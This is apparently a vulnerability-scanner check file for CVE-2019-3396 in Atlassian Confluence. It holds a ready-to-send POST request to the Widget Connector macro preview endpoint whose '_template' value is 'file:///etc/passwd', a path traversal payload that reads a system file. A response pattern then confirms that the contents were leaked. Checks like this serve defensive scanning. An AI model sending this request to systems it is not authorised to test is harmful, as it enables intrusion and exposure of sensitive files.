CVE-2019-3396.yaml

send:
  - method: 'POST'
    url: '/rest/tinymce/1/macro/preview'
    headers:
      - CONTENT-TYPE: application/json
    body: '{"contentId":"65592","macro":{"name":"widget","params":{"url": "https://www.youtube.com/watch?v=0rX-Cp3Hzn4","width":"1000","height":"1000","_template":"file:///etc/passwd"},"body":""}}'

detect:
  - response:
    - body: '[a-z]*:[^:]*:[0-9]*:[0-9]*:[^:]*:\/[^:]*:\/[^:]*'

meta-info:
  - type: ptrav
  - threat: 98
  - applicable_for:
    - fast
    - scanner
  - tags: 
    - Path Traversal
    - CVE-2019-3396
    - Atlassian
    - Confluence 
    - Widget Connector Macro - Velocity Template Injection